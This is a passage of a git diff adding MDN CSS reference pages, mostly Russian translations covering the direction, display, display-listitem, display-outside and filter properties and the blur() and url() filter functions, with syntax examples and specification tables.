+<p>The property sets the base text direction of block-level elements and the direction of embeddings created by the {{Cssxref("unicode-bidi")}} property. It also sets the default alignment of text, block-level elements, and the direction that cells flow within a table row.</p>
+
+<p>Unlike the <code>dir</code> attribute in HTML, the <code>direction</code> property is not inherited from table columns into table cells, since CSS inheritance follows the document tree, and table cells are inside of rows but not inside of columns.</p>
+
+<p>The <code>direction</code> and {{cssxref("unicode-bidi")}} properties are the two only properties which are not affected by the {{cssxref("all")}} shorthand property.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Keyword values */
+direction: ltr;
+direction: rtl;
+
+/* Global values */
+direction: inherit;
+direction: initial;
+direction: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>ltr</code></dt>
+ <dd>Text and other elements go from left to right. This is the default value.</dd>
+ <dt><code>rtl</code></dt>
+ <dd>Text and other elements go from right to left.</dd>
+</dl>
+
+<p>For the <code>direction</code> property to have any effect on inline-level elements, the {{Cssxref("unicode-bidi")}} property's value must be <code>embed</code> or <code>override</code>.</p>
+
+<h2 id="Formal_definition">Formal definition</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Formal_syntax">Formal syntax</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Setting_right-to-left_direction">Setting right-to-left direction</h3>
+
+<pre class="brush: css notranslate">blockquote {
+  direction: rtl;
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Writing Modes', '#direction', 'direction')}}</td>
+   <td>{{Spec2('CSS3 Writing Modes')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#direction', 'direction')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.direction")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{Cssxref("unicode-bidi")}}</li>
+ <li>{{Cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/ru/web/css/display-listitem/index.html b/files/ru/web/css/display-listitem/index.html
new file mode 100644
index 0000000000..4eee12345e
--- /dev/null
+++ b/files/ru/web/css/display-listitem/index.html
@@ -0,0 +1,52 @@
+---
+title: <display-listitem>
+slug: Web/CSS/display-listitem
+tags:
+  - CSS
+  - CSS Data Type
+  - CSS Display
+  - Reference
+  - list-item
+  - Справка
+translation_of: Web/CSS/display-listitem
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Ключевое слово <code>list-item</code> приводит к тому, что элемент генерирует <code>::marker</code> псевдо-элемент с определяемыми {{cssxref("list-style")}} свойствами (например, маркерной точкой) вместе с основным блоком указанного типа для его  содержимого.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Единственное значение <code> list-item  приведет к тому, что элемент будет вести себя как элемент списка. Это можно использовать вместе с {{CSSxRef("list-style-type")}} и {{CSSxRef("list-style-position")}}.</code></p>
+
+<div class="note">
+<p><code><strong>Примечание</strong>:В браузерах, поддерживающих двухзначный синтаксис, если внутреннее значение не указано, по умолчанию оно будет </code>flow<code>. Если внешнее значение не указано, основной блок будет иметь внешний вид отображения (</code>outer display type<code>) <code>block</code>.</code></p>
+</div>
+
+<h2 id="Пример"><code>Пример</code></h2>
+
+<h3 id="HTML"><code>HTML</code></h3>
+
+<pre class="brush: html"><code>
+&lt;div class="fake-list"&gt;I will display as a list item&lt;/div&gt;
+</code></pre>
+
+<h3 id="CSS"><code>CSS</code></h3>
+
+<pre class="brush: css"><code>
+.fake-list {
+  display: list-item;
+  list-style-position: inside;
+}
+</code></pre>
+
+<h3 id="Результат"><code>Результат</code></h3>
+
+<p><code>{{EmbedLiveSample("Example", "100%", 150)}}</code></p>
+
+<h2 id="Совместимость с браузерами" name="Совместимость с браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам соответствующий запрос.</div>
+
+<h3 id="Поддержка_list-item"><code>Поддержка <code>list-item</code></code></h3>
+
+<p>{{Compat("css.properties.display.list-item", 10)}}</p>
diff --git a/files/ru/web/css/display-outside/index.html b/files/ru/web/css/display-outside/index.html
new file mode 100644
index 0000000000..60ee3de15e
--- /dev/null
+++ b/files/ru/web/css/display-outside/index.html
@@ -0,0 +1,75 @@
+---
+title: <display-outside>
+slug: Web/CSS/display-outside
+tags:
+  - CSS
+  - CSS Data Type
+  - CSS Display
+  - Reference
+  - display-outside
+  - Справка
+translation_of: Web/CSS/display-outside
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Ключевые слова <code>&lt;display-outside&gt;</code>  определяют внешний тип отображения элемента (outer {{CSSxRef("display")}} type), который играет существенную роль в схеме потока. Эти ключевые слова используются как значения свойства <code>display</code> и могут быть использованы в целях преемственности как единственное ключевое слово или, как определено в рамках спецификации Level 3, наряду со значением из  {{CSSxRef("&lt;display-inside&gt;")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Значение <code>&lt;display-outside&gt;</code> определяется с использованием ключевого слова из списка ниже:</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>block</code></dt>
+ <dd>Элемент генерирует бокс элемента, создавая разрывы линий, как перед, так и после элемента, при условии нормального потока.</dd>
+ <dt><code>inline</code></dt>
+ <dd>Элемент создает один или более строковых (inline) боксов элемента, которые не создают разрывов строк перед собой или после себя. В нормальном потоке следующий элемент будет находиться на той же линии, если есть пробел.</dd>
+ <dt><code>run-in</code> {{Experimental_Inline}}</dt>
+ <dd>Элемент генерирует run-in бокс. Если соседний родственный (sibling) элемент определен как <code>display: run-in, тогда</code>  бокс является блоковым боксом, <code>run-in</code> бокс становится первым строковым (inline) боксом блокового бокса, который следует за ним. <br>
+ <br>
+ Run-in элементы ведут себя как строковые (inlines) или блоковые, в зависимости от окружающих элементов. Если run-in бокс содержит блоковый бокс, тогда он сам считается блоковым. Если блоковый бокс следует за run-in боксом, тогда run-in бокс становится первым строковым (inline) боксом блокового бокса. Если за ним следует строковый (inline) бокс, тогда run-in бокс становится блоковым боксом.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Замечание</strong>: Браузеры, поддерживающие двузначный синтаксис значений, при обнаружении только внешнего значения, например, при отображении <code> display: block </code> или <code>display: inline,</code>  установят внутреннее значение как <code>flow</code>.  Это приведет к ожидаемому поведению; например, если вы укажете элемент, который будет блоком, вы ожидаете, что его дочерние элементы будут участвовать в блочной и строковой разметке нормального потока.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В следующем примере элементы span (обычно отображаемые как строковые элементы) устанавливаются в <code> display: block  и поэтому разбиваются на новые строки и расширяются, чтобы заполнить их контейнер в строковом измерении.</code></p>
+
+<h3 id="HTML"><code>HTML</code></h3>
+
+<pre class="brush: html"><code>
+&lt;span&gt;span 1&lt;/span&gt;
+&lt;span&gt;span 2&lt;/span&gt;</code></pre>
+
+<h3 id="CSS"><code>CSS</code></h3>
+
+<pre class="brush: css"><code>
+span {
+    display: block;
+    border: 1px solid rebeccapurple;
+}</code></pre>
+
+<h3 id="Result"><code>Result</code></h3>
+
+<p><code>{{EmbedLiveSample("Example", 300, 60)}}</code></p>
+
+<h2 id="Совместимость с браузерами" name="Совместимость с браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам соответствующий запрос.</div>
+
+<h3 id="Support_of_run-in"><code>Support of <code>run-in</code></code></h3>
+
+<p><code>{{Compat("css.properties.display.run-in", 10)}}</code></p>
+
+<h2 id="Смотрите_также"><code>Смотрите также</code></h2>
+
+<ul>
+ <li><code>{{CSSxRef("display")}}</code></li>
+ <li><code>{{CSSxRef("&lt;display-inside&gt;")}}</code></li>
+ <li><code><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline layout in Normal Flow</a></code></li>
+ <li><code><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Formatting Contexts explained</a> </code></li>
+</ul>
diff --git a/files/ru/web/css/display/index.html b/files/ru/web/css/display/index.html
new file mode 100644
index 0000000000..3c40e975d0
--- /dev/null
+++ b/files/ru/web/css/display/index.html
@@ -0,0 +1,218 @@
+---
+title: display
+slug: Web/CSS/display
+tags:
+  - CSS
+  - CSS Display
+  - CSS Property
+  - Reference
+  - display
+  - Справка
+translation_of: Web/CSS/display
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Свойство <strong><code>display</code></strong> (<a href="/ru/docs/Web/CSS">CSS</a>) определяет <dfn><em>тип отображения (display type)</em> элемента</dfn>, имеющий два основных свойства, определяющих генерацию боксов — <strong>внешний тип отображения</strong> определяет расположение бокса в <a href="/ru/docs/Web/CSS/CSS_Flow_Layout">схеме потока (flow layout)</a> и <strong>внутренний тип отображения</strong> определяет расположение дочерних элементов бокса (бокс - это прямоугольная область, являющаяся изображением элемента).</p>
+
+<p>Некоторые значения свойства <code>display</code> полностью определены в их индивидуальных спецификациях; смотрите таблицу в конце этого документа со ссылками на все релевантные спецификации. Полный список значений приведен ниже.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;display-outside&gt; values */
+display: block;
+display: inline;
+display: run-in;
+
+/* &lt;display-inside&gt; values */
+display: flow;
+display: flow-root;
+display: table;
+display: flex;
+display: grid;
+display: ruby;
+
+/* &lt;display-outside&gt; plus &lt;display-inside&gt; values */
+display: block flow;
+display: inline table;
+display: flex run-in;
+
+/* &lt;display-listitem&gt; values */
+display: list-item;
+display: list-item block;
+display: list-item inline;
+display: list-item flow;
+display: list-item flow-root;
+display: list-item block flow;
+display: list-item block flow-root;
+display: flow list-item block;
+
+/* &lt;display-internal&gt; values */
+display: table-row-group;
+display: table-header-group;
+display: table-footer-group;
+display: table-row;
+display: table-cell;
+display: table-column-group;
+display: table-column;
+display: table-caption;
+display: ruby-base;
+display: ruby-text;
+display: ruby-base-container;
+display: ruby-text-container;
+
+/* &lt;display-box&gt; values */
+display: contents;
+display: none;
+
+/* &lt;display-legacy&gt; values */
+display: inline-block;
+display: inline-table;
+display: inline-flex;
+display: inline-grid;
+
+/* Global values */
+display: inherit;
+display: initial;
+display: unset;
+</pre>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Свойство <code>display</code> задается с помощью ключевых слов. Ключевые слова группируются по шести категориям:</p>
+
+<dl>
+ <dt>{{CSSxRef("&lt;display-outside&gt;")}}</dt>
+ <dd>Эти ключевые слова определяют внешний тип отображения (outer display type) элемента, который играет существенную роль в схеме потока.</dd>
+ <dt>{{CSSxRef("&lt;display-inside&gt;")}}</dt>
+ <dd>Эти ключевые слова определяют внутренний тип отображения ( inner display type) элемента, который определяет тип контекста форматирования, в котором располагается его содержимое (при условии, что это незаменяемый элемент).</dd>
+ <dt>{{CSSxRef("&lt;display-listitem&gt;")}}</dt>
+ <dd>Создает блоковый бокс для контента и отдельный строковый (inline) бокс для элемента списка.</dd>
+ <dt>{{CSSxRef("&lt;display-internal&gt;")}}</dt>
+ <dd>Некоторые модели разметки, такие как <code><span class="css">table</span></code> и <code>ruby,</code> имеют сложную внутреннюю структуру с несколькими различными ролями, которые могут выполнять их дочерние элементы и потомки. Этот раздел определяет те "внутренние" значения отображения, которые имеют смысл только в рамках этих конкретных методов разметок.</dd>
+ <dt>{{CSSxRef("&lt;display-box&gt;")}}</dt>
+ <dd>Эти значения определяют, генерирует ли элемент отображение боксов вообще.</dd>
+ <dt>{{CSSxRef("&lt;display-legacy&gt;")}}</dt>
+ <dd>В CSS 2 используется синтаксис с одним ключевым словом для свойства <code>display</code>, для которого требуются отдельные ключевые слова для блокового и строкового уровней одного способа разметки.</dd>
+ <dt><code><a href="/ru/docs/Mozilla/Gecko/Chrome/CSS/display-xul">&lt;display-xul&gt;</a></code> {{Non-standard_Inline}}{{Deprecated_Inline(62)}}</dt>
+ <dd>Значения, используемые только в Firefox, в основном, для стилизации. <a href="/ru/docs/Mozilla/Tech/XUL">XUL documents</a>.</dd>
+</dl>
+
+<h3 id="Наследственные_значения_отображения">"Наследственные" значения отображения</h3>
+
+<p>Спецификация уровня 3 подразумевает два значения для свойства <code>display</code> — позволяет специфицировать внешний и внутренний тип отображения явно — но это поддерживается браузерами пока недостаточно хорошо.</p>
+
+<p>Методы display-legacy позволяют получать такие же результаты с одиночными значениями ключевых слов и должны поддерживаться разработчиками до тех пор, пока два значения ключевых слов не будут лучше поддерживаться. Например, используя два значения, вы можете задать строковый (inline) flex контейнер следующим образом:</p>
+
+<pre class="brush: css">.container {
+    display: inline flex;
+}</pre>
+
+<p><span id="result_box" lang="ru"><span>В настоящее время это можно задать с помощью одного значения</span></span>.</p>
+
+<pre class="brush: css">.container {
+    display: inline-flex;
+}
+</pre>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В разделе {{anch("Syntax")}} содержатся несколько примеров для разных типов значений <code>display</code>, которые это свойство может принимать.</p>
+
+<p>Кроме того, вы можете найти подробные объяснения способов разметки для определенных значений <code>display</code> в других статьях на MDN:</p>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/CSS_Grid_Layout">Разметка CSS Grid </a></li>
+ <li><a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout">Разметка CSS Flexible box</a></li>
+ <li><a href="/ru/docs/Learn/CSS/CSS_layout">Разметка CSS</a> (Модуль обучения для начинающих)</li>
+</ul>
+
+<h2 id="Доступность">Доступность</h2>
+
+<h3 id="display_none"><code>display: none;</code></h3>
+
+<p>Если свойство <code>display</code> принимает значение <code>none</code> на элементе,  то элемент удаляется из <a href="/ru/docs/Learn/Доступность/What_is_accessibility">дерева доступности</a>. Это приводит к тому, что элемент и все его дочерние элементы больше не будут восприниматься технологиями чтения экрана.</p>
+
+<p>Если вы хотите визуально скрыть элемент, более доступной альтернативой является использование <a class="external" href="https://gomakethings.com/hidden-content-for-better-a11y/#hiding-the-link">комбинации свойств</a> для визуального удаления изображения с экрана, но это сохраняет его для синтаксического анализа с помощью вспомогательных технологий, таких как считыватели экрана.</p>
+
+<h3 id="display_contents"><code>display: contents;</code></h3>
+
+<p>Браузеры удаляют любой элемент со свойством <code>display,</code> имеющим значение <code>contents</code> из  <a href="/ru/docs/Learn/Доступность/What_is_accessibility">дерева доступности</a>. Это приводит к тому, что элемент (но не его дочерние элементы) больше не будут восприниматься технологиями чтения экрана. <span id="result_box" lang="ru"><span>Дочерние элементы становятся дочерними элементами элемента следующего уровня в DOM</span></span>.</p>
+
+<ul>
+ <li><a class="external" href="http://adrianroselli.com/2018/05/display-contents-is-not-a-css-reset.html">Display: Contents Is Not a CSS Reset | Adrian Roselli</a></li>
+ <li><a class="external" href="https://hiddedevries.nl/en/blog/2018-04-21-more-accessible-markup-with-display-contents">More accessible markup with display: contents — hiddedevries.nl</a></li>
+</ul>
+
+<h3 id="Таблицы">Таблицы</h3>
+
+<p>Если у элемента {{HTMLElement("table")}} изменить значение свойства <code>display на </code><code>block</code>, <code>grid</code> или <code>flex, это изменит</code> его представление в  <a href="/ru/docs/Learn/Доступность/What_is_accessibility">дереве доступности</a>. Это приводит к тому, что таблица<span id="result_box" lang="ru"><span> не будет объявлена должным образом с помощью технологии чтения экрана.</span></span></p>
+
+<ul>
+ <li><a class="external" href="https://developer.paciellogroup.com/blog/2018/03/short-note-on-what-css-display-properties-do-to-table-semantics/">Short note on what CSS display properties do to table semantics — The Paciello Group</a></li>
+ <li><a class="external" href="https://gomakethings.com/hidden-content-for-better-a11y/">Hidden content for better a11y | Go Make Things</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a class="external" href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Спецификации" name="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}</td>
+   <td>{{Spec2('CSS3 Display')}}</td>
+   <td>Добавлены <code>run-in</code>, <code>flow</code>, <code>flow-root</code>, <code>contents</code> и multi-keyword значения.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Ruby', '#ruby-display', 'display')}}</td>
+   <td>{{Spec2('CSS3 Ruby')}}</td>
+   <td>Добавлены <code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code> и <code>ruby-text-container</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Grid', '#grid-containers', 'display')}}</td>
+   <td>{{Spec2('CSS3 Grid')}}</td>
+   <td>Добавлены значения модели grid бокс.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex-containers', 'display')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Добавлены значения модели flexible бокс.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Добавлены значения модели table и <code>inline-block<em>.</em></code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#display', 'display')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Начальное определение. Базовые значения: <code>none</code>, <code>block</code>, <code>inline</code> и <code>list-item</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость с браузерами" name="Совместимость с браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам соответствующий запрос.</div>
+
+<p>{{Compat("css.properties.display", 10)}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Блоковая и Inline разметка нормальном потоке</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Formatting contexts explained</a></li>
+ <li>{{CSSxRef("visibility")}}, {{CSSxRef("float")}}, {{CSSxRef("position")}}</li>
+ <li>{{CSSxRef("grid")}}, {{CSSxRef("flex")}}</li>
+</ul>
diff --git a/files/ru/web/css/filter-function/blur()/index.html b/files/ru/web/css/filter-function/blur()/index.html
new file mode 100644
index 0000000000..c2df200b45
--- /dev/null
+++ b/files/ru/web/css/filter-function/blur()/index.html
@@ -0,0 +1,44 @@
+---
+title: blur()
+slug: Web/CSS/filter-function/blur()
+translation_of: Web/CSS/filter-function/blur()
+---
+<div>{{cssref}}</div>
+
+<p>Функция <a href="/ru/docs/Web/CSS">CSS</a> <strong><code>blur()</code></strong> применяет <a href="https://ru.wikipedia.org/wiki/%D0%A4%D0%B8%D0%BB%D1%8C%D1%82%D1%80_%D0%93%D0%B0%D1%83%D1%81%D1%81%D0%B0">размытие по Гауссу</a> к входному изображению. Его результатом является {{cssxref("&lt;filter-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-blur.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">blur(<em>radius</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>radius</code></dt>
+ <dd>Радиус размытия, выраженный в {{cssxref("&lt;length&gt;")}}. Он определяет отклонение от стандартной функции Гаусса, то есть как много пикселей на экране смешиваются друг с другом. Таким образом, большее значение даст большее размытие. Значение <code>0</code> оставит изображение без изменений.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: css">blur(0)        /* Без эффекта */
+blur(8px)      /* Размытие с радиусом 8px */
+blur(1.17rem)  /* Размытие с радиусом 1.17rem */</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+ <li>{{cssxref("filter-function/brightness", "brightness()")}}</li>
+ <li>{{cssxref("filter-function/contrast", "contrast()")}}</li>
+ <li>{{cssxref("filter-function/drop-shadow", "drop-shadow()")}}</li>
+ <li>{{cssxref("filter-function/grayscale", "grayscale()")}}</li>
+ <li>{{cssxref("filter-function/hue-rotate", "hue-rotate()")}}</li>
+ <li>{{cssxref("filter-function/invert", "invert()")}}</li>
+ <li>{{cssxref("filter-function/opacity", "opacity()")}}</li>
+ <li>{{cssxref("filter-function/saturate", "saturate()")}}</li>
+ <li>{{cssxref("filter-function/sepia", "sepia()")}}</li>
+</ul>
diff --git a/files/ru/web/css/filter-function/index.html b/files/ru/web/css/filter-function/index.html
new file mode 100644
index 0000000000..abfdfa7ae5
--- /dev/null
+++ b/files/ru/web/css/filter-function/index.html
@@ -0,0 +1,62 @@
+---
+title: <filter-function>
+slug: Web/CSS/filter-function
+tags:
+  - фильтры
+translation_of: Web/CSS/filter-function
+---
+<div>{{cssref}}</div>
+
+<p><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Types">Тип данных</a> <a href="/en-US/docs/Web/CSS">CSS</a> <code><strong>&lt;filter-function&gt;</strong></code> представляет собой графический эффект, который может изменить внешний вид входного изображения. Он используется в свойствах {{cssxref("filter")}} и {{cssxref("backdrop-filter")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Тип данных <code>&lt;filter-function&gt;</code> указывается с использованием одной из функций, указанных ниже. Каждая функция требует аргумент, который, если он неверен, не приводит к применению фильтра.</p>
+
+<dl>
+ <dt>{{cssxref("filter-function/blur", "blur()")}}</dt>
+ <dd>Применяет эффект размытия к изображению.</dd>
+ <dt>{{cssxref("filter-function/brightness", "brightness()")}}</dt>
+ <dd>Делает изображение ярче или темнее.</dd>
+ <dt>{{cssxref("filter-function/contrast", "contrast()")}}</dt>
+ <dd>Увеличивает или уменьшает контрастность изображения.</dd>
+ <dt>{{cssxref("filter-function/drop-shadow", "drop-shadow()")}}</dt>
+ <dd>Применяет к изображению тень.</dd>
+ <dt>{{cssxref("filter-function/grayscale", "grayscale()")}}</dt>
+ <dd>Преобразует изображение к тонам серого.</dd>
+ <dt>{{cssxref("filter-function/hue-rotate", "hue-rotate()")}}​​​​​​​</dt>
+ <dd>Изменяет оттенок изображения за счёт поворота на цветовом круге.</dd>
+ <dt>{{cssxref("filter-function/invert", "invert()")}}</dt>
+ <dd>Инвертирует цвета изображения.</dd>
+ <dt>{{cssxref("filter-function/opacity", "opacity()")}}</dt>
+ <dd>Изменяет прозрачность изображения.</dd>
+ <dt>{{cssxref("filter-function/saturate", "saturate()")}}</dt>
+ <dd>Изменяет насыщенность цветов изображения.</dd>
+ <dt>{{cssxref("filter-function/sepia", "sepia()")}}</dt>
+ <dd>Преобразует изображение в сепию.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#typedef-filter-function', '&lt;filter-function&gt;') }}</td>
+   <td>{{ Spec2('Filters 1.0') }}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Свойства, которые используют этот тип данных: {{cssxref("filter")}} и {{cssxref("backdrop-filter")}}</li>
+</ul>
diff --git a/files/ru/web/css/filter-function/url/index.html b/files/ru/web/css/filter-function/url/index.html
new file mode 100644
index 0000000000..3a943810ef
--- /dev/null
+++ b/files/ru/web/css/filter-function/url/index.html
@@ -0,0 +1,34 @@
+---
+title: url()
+slug: Web/CSS/filter-function/url
+tags:
+  - CSS
+  - Начинающий
+  - Ссылка
+  - Функция
+translation_of: Web/CSS/url()
+---
+<div>{{cssref}}</div>
+
+<p><strong><code>url()</code></strong> - это <a href="/en-US/docs/Web/CSS">CSS</a> функция, использующая <a href="/en-US/docs/Web/SVG/Element/filter">SVG filter</a> для измения внешнего вида у выводимого изображения.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">url(<em>расположение</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>расположение</code></dt>
+ <dd>В {{cssxref("&lt;URL-адрес&gt;")}} из {{glossary("XML")}} указывается файл, который задает фильтр SVG, а также может включать в себя привязки к конкретному фильтрующему элементу.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: css">url(resources.svg#c1)</pre>
+
+<h2 id="Изучите_также">Изучите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/CSS/filter-function">{{cssxref("&lt;filter-function&gt;")}}</a></li>
+</ul>
diff --git a/files/ru/web/css/filter/index.html b/files/ru/web/css/filter/index.html
new file mode 100644
index 0000000000..ba55a20e4a
--- /dev/null
+++ b/files/ru/web/css/filter/index.html
@@ -0,0 +1,1124 @@
+---
+title: filter
+slug: Web/CSS/filter
+tags:
+  - CSS
+  - SVG
+  - SVG фильтр
+  - filter
+  - Свойство CSS
+  - Ссылка
+translation_of: Web/CSS/filter
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>filter</code></strong>  позволяет Вам применять к элементу такие графические эффекты, как размытие и смещение цвета. Фильтры обычно используются для регулировки рендеринга изображений, фонов и рамок.</p>
+
+<p>В стандарт CSS включены несколько функций, которые обеспечивают предопределенные эффекты. Вы также можете ссылаться на SVG фильтр с URL-адресом на <a href="/en-US/docs/Web/SVG/Element/filter">элемент фильтра SVG</a>.</p>
+
+<div class="note"><strong>Предупреждение:</strong> Старые версии (с 4.0 до 9.0) браузера Windows Internet Explorer поддерживают нестандартный <a class="external" href="http://msdn.microsoft.com/en-us/library/ms532853(v=vs.85).aspx">"filter"</a>, который с тех пор устарел.</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">filter: url(resources.svg);
+filter: blur(5px);
+filter: brightness(0.4);
+filter: contrast(200%);
+filter: drop-shadow(16px 16px 20px blue);
+filter: grayscale(50%);
+filter: hue-rotate(90deg);
+filter: invert(75%);
+filter: opacity(25%);
+filter: saturate(30%);
+filter: sepia(60%);
+
+/* Применение нескольких фильтров */
+filter: contrast(175%) brightness(3%);
+
+/* Глобальные значения */
+filter: inherit;
+filter: initial;
+filter: unset;
+</pre>
+
+<p>С помощью функции, используйте:</p>
+
+<pre class="syntaxbox">filter: &lt;filter-function&gt; [&lt;filter-function&gt;]* | none
+</pre>
+
+<p>Для ссылки на SVG {{SVGElement("filter")}} элемент, используйте:</p>
+
+<pre class="syntaxbox">filter: url(svg-url#element-id)
+</pre>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Примеры использования предопределённых функций показаны ниже. См. каждую функцию для конкретного примера.</p>
+
+<pre class="brush: css">.mydiv { filter: grayscale(50%) }
+
+/* сделать все изображения серыми на 50% и размыть на 10px */
+img {
+  filter: grayscale(0.5) blur(10px);
+}</pre>
+
+<p>Примеры использования функции URL с SVG ресурсом показаны ниже.</p>
+
+<pre class="brush: css">.target { filter: url(#c1); }
+
+.mydiv { filter: url(commonfilters.xml#large-blur) }
+</pre>
+
+<h2 id="Функции">Функции</h2>
+
+<p>Для использования CSS свойства <code>filter</code>, Вы указываете значение для одной из выбранных функций. Если это значение недействительно, функция возвращает "none." За исключением тех случаев, когда функции, которые принимают значение, выраженное в процентах (34%), также принимают значение, выраженное как десятичная дробь (0.34).</p>
+
+<h3 id="url"><code>url()</code></h3>
+
+<p>The url() function takes the location of an XML file that specifies an SVG filter, and may include an anchor to a specific filter element.</p>
+
+<pre class="brush: css">filter: url(resources.svg#c1)
+</pre>
+
+<h3 id="blur_размытие"><code>blur() [размытие]</code></h3>
+
